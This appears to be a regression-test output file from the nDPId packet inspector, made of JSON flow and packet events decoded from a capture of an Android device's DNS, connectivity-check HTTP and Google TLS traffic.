+00488{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1490976023731,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7af8:82ff:fed3:fbc2","dst_ip":"ff02::2","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00442{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976023,"pkt_ts_usec":731126,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACePiC0\/vCht1gAAAAABA6\/\/6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAChQCMEAAAAAABAXj4gtP7wg=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1490976024793,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":3440,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":793542,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"AMDKkaPvePiC0\/vCCABFAABLWklAAEARM1+sECrYrBAqAQ1wADUAN5pbXVABAAABAAAAAAAAEWNvbm5lY3Rpdml0eWNoZWNrB2FuZHJvaWQDY29tAAAcAAE="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1490976024793,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":3440,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"connectivitycheck.android.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00499{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":844591,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ePiC0\/vCAMDKkaPvCABFAABnz+xAAEARvZ+sECoBrBAq2AA1DXAAU9tZXVCBgAABAAEAAAAAEWNvbm5lY3Rpdml0eWNoZWNrB2FuZHJvaWQDY29tAAAcAAHADAAcAAEAAAErABAmB\/iwQAAIEwAAAAAAACAO"} +00688{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_first_seen":1490976024793,"flow_last_seen":1490976024844,"flow_tot_l4_data_len":138,"flow_min_l4_data_len":55,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":3440,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"connectivitycheck.android.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":28,"rsp_addr":"38.7.248.176"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1490976024847,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":55619,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":847601,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"AMDKkaPvePiC0\/vCCABFAABLWkpAAEARM16sECrYrBAqAdlDADUAN19T54QBAAABAAAAAAAAEWNvbm5lY3Rpdml0eWNoZWNrB2FuZHJvaWQDY29tAAABAAE="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1490976024847,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":55619,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"connectivitycheck.android.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":848551,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ePiC0\/vCAMDKkaPvCABFAABbz+1AAEARvaqsECoBrBAq2AA12UMAR0w654SBgAABAAEAAAAAEWNvbm5lY3Rpdml0eWNoZWNrB2FuZHJvaWQDY29tAAABAAHADAABAAEAAAEYAASs2QmO"} +00688{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":18,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_first_seen":1490976024847,"flow_last_seen":1490976024848,"flow_tot_l4_data_len":126,"flow_min_l4_data_len":55,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":55619,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"connectivitycheck.android.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.9.142"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1490976024857,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.217.9.142","src_port":60246,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":857901,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8rxxAAEAG\/k+sECrYrNkJjutWAFC1gOcZAAAAAKAC\/\/\/pcgAAAgQFtAQCCAoA9kgFAAAAAAEDAwg="} +00440{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":894393,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8rv4AADQGSm6s2QmOrBAq2ABQ61bhGRrktYDnGqASpajwtAAAAgQFZAQCCApVvgGZAPZIBQEDAwc="} +00429{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":896799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0rx1AAEAG\/lasECrYrNkJjutWAFC1gOca4Rka5YAQAVfDfgAAAQEICgD2SAlVvgGZ"} +00684{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":899914,"pkt_caplen":254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":254,"pkt_l4_len":220,"pkt":"AMDKkaPvePiC0\/vCCABFAADwrx5AAEAG\/ZmsECrYrNkJjutWAFC1gOca4Rka5YAYAVdZcQAAAQEICgD2SAlVvgGZR0VUIC9nZW5lcmF0ZV8yMDQgSFRUUC8xLjENClVzZXItQWdlbnQ6IERhbHZpay8yLjEuMCAoTGludXg7IFU7IEFuZHJvaWQgNS4xLjE7IExHTFM3NTEgQnVpbGQvTE1ZNDdWKQ0KSG9zdDogY29ubmVjdGl2aXR5Y2hlY2suYW5kcm9pZC5jb20NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KDQo="} +00747{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":22,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1490976024857,"flow_last_seen":1490976024899,"flow_tot_l4_data_len":332,"flow_min_l4_data_len":32,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.217.9.142","src_port":60246,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Google","breed":"Unrated","category":"ConnectivityCheck"},"http": {"hostname":"connectivitycheck.android.com","url":"connectivitycheck.android.com\/generate_204","code":0,"content_type":"","user_agent":"Dalvik\/2.1.0 (Linux; U; Android 5.1.1; LGLS751 Build\/LMY47V)"}} +00428{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":983411,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0rx8AADQGSlWs2QmOrBAq2ABQ61bhGRrltYDn1oAQAVTCjQAAAQEIClW+AdEA9kgJ"} +00543{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":992071,"pkt_caplen":149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":149,"pkt_l4_len":115,"pkt":"ePiC0\/vCAMDKkVoBCABFAACHryAAADQGSgGs2QmOrBAq2ABQ61bhGRrltYDn1oAYAVS1rwAAAQEIClW+AdIA9kgJSFRUUC8xLjEgMjA0IE5vIENvbnRlbnQNCkNvbnRlbnQtTGVuZ3RoOiAwDQpEYXRlOiBGcmksIDMxIE1hciAyMDE3IDE2OjAwOjI0IEdNVA0KDQo="} +00429{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976024,"pkt_ts_usec":994180,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0rx9AAEAG\/lSsECrYrNkJjutWAFC1gOfW4RkbOIAQAVfCLAAAAQEICgD2SBNVvgHS"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1490976027514,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":53188,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":514649,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AMDKkaPvePiC0\/vCCABFAAA+WktAAEARM2qsECrYrBAqAc\/EADUAKrjvz8MBAAABAAAAAAAABW10YWxrBmdvb2dsZQNjb20AAAEAAQ=="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":26,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1490976027514,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":53188,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"mtalk.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1490976027522,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":52603,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":522377,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WkxAAEARM2usECrYrBAqAc17ADUAKKL+U00BAAABAAAAAAAAA3d3dwZnb29nbGUDY29tAAABAAE="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1490976027522,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":52603,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00461{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":523403,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"ePiC0\/vCAMDKkaPvCABFAABM0NFAAEARvNWsECoBrBAq2AA1zXsAOK5EU02BgAABAAEAAAAAA3d3dwZnb29nbGUDY29tAAABAAHADAABAAEAAAEGAATYOtrE"} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":28,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_first_seen":1490976027522,"flow_last_seen":1490976027523,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":40,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":52603,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.58.218.196"}} +00506{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":560355,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"ePiC0\/vCAMDKkaPvCABFAABr0NVAAEARvLKsECoBrBAq2AA1z8QAV0oUz8OBgAABAAIAAAAABW10YWxrBmdvb2dsZQNjb20AAAEAAcAMAAUAAQABUX8AEQxtb2JpbGUtZ3RhbGsBbMASwC4AAQABAAABKwAErcLfvA=="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":29,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":9,"flow_packet_id":2,"flow_first_seen":1490976027514,"flow_last_seen":1490976027560,"flow_tot_l4_data_len":129,"flow_min_l4_data_len":42,"flow_max_l4_data_len":87,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":53188,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"mtalk.google.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"173.194.223.188"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1490976027567,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"173.194.223.188","src_port":42878,"dst_port":5228,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":567694,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA81nRAAEAG\/9+sECrYrcLfvKd+FGxeQZ9gAAAAAKAC\/\/\/gAAAAAgQFtAQCCAoA9kkUAAAAAAEDAwg="} +00442{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":617961,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA86FEAACsGQwOtwt+8rBAq2BRsp36O4XTVXkGfYaASpajFDgAAAgQFZAQCCAor\/EXWAPZJFAEDAwc="} +00431{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":621372,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA01nVAAEAG\/+asECrYrcLfvKd+FGxeQZ9hjuF01oAQAVeX1wAAAQEICgD2SRkr\/EXW"} +01131{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":625622,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"AMDKkaPvePiC0\/vCCABFAAI51nZAAEAG\/eCsECrYrcLfvKd+FGxeQZ9hjuF01oAYAVd0AAAAAQEICgD2SRor\/EXWFgMBAgABAAH8AwP8yOM7BlQk\/N7361hEfifQEjFK9C+2z6dEAXB5upIKVSBsZf8WSacPFJ5360Xf7gbKvq4VJrM6Sp5Mx957SU1grAAozKnMFMArwCzMqMwTwC\/AMACeAJ\/ACcAKwBPAFAAzADkAnACdAC8ANQEAAYv\/AQABAAAAABUAEwAAEG10YWxrLmdvb2dsZS5jb20AFwAAACMAxAOeKIxvS+dmkCkOmeIUcJ137rveu8cp7SsJcSkCCJYpUIY+YBkt6aFuQ6LPrhBKvBHLUbeG3+HUzr5FnCqyl8+ID9q3G1h7YfsoYtCoJkMsPA\/kz1MiwPPwRp1Ls85ZA1SJko+D8IYkqP0qv5to9svOUJZSfo1gVcDl2auONMm8nfCIA74AFXnyO7ekI+VS57Ocl60m10z72XP7SkonMcdfpTgCFqrNIsf0dRbWAaOlueauQJaMo6gNlxUOxYiF9f84qwcADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAACwACAQAACgAIAAYAHQAXABgAFQBqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1490976027567,"flow_last_seen":1490976027625,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"173.194.223.188","src_port":42878,"dst_port":5228,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mtalk.google.com","ja3":"a5a59633017c3d696d2c69350e5fc004","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00429{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":674065,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA06HIAACsGQuqtwt+8rBAq2BRsp36O4XTWXkGhZoAQAVSVmwAAAQEICiv8Rg8A9kka"} +00624{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":674201,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"ePiC0\/vCAMDKkVoBCABFAAC\/6HMAACsGQl6twt+8rBAq2BRsp36O4XTWXkGhZoAYAVTDZQAAAQEICiv8Rg8A9kkaFgMDAFsCAABXAwNY3n0bUCjb4zZ6G4o\/TWqWWSQ9p2ufUUcQGSbu2zc5aiBsZf8WSacPFJ5360Xf7gbKvq4VJrM6Sp5Mx957SU1grMypAAAP\/wEAAQAAFwAAAAsAAgEAFAMDAAEBFgMDACCIe6GZq9kBxo7r4HWprFg9\/LyCznTtsBrZNO9GTNpsww=="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":35,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":11,"flow_packet_id":6,"flow_first_seen":1490976027567,"flow_last_seen":1490976027674,"flow_tot_l4_data_len":864,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":144,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"173.194.223.188","src_port":42878,"dst_port":5228,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mtalk.google.com","ja3":"a5a59633017c3d696d2c69350e5fc004","ja3s":"9b1466fd60cadccb848e09c86e284265","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256"}} +00431{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":676191,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA01ndAAEAG\/+SsECrYrcLfvKd+FGxeQaFmjuF1YYAQAVuVBAAAAQEICgD2SR8r\/EYP"} +00493{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":677093,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"AMDKkaPvePiC0\/vCCABFAABf1nhAAEAG\/7isECrYrcLfvKd+FGxeQaFmjuF1YYAYAVt+zAAAAQEICgD2SR8r\/EYPFAMDAAEBFgMDACC+XgFeI1a3FeBThI9cDRefvqyGssnmLngTl2GMEbbGdA=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1490976027724,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":10462,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 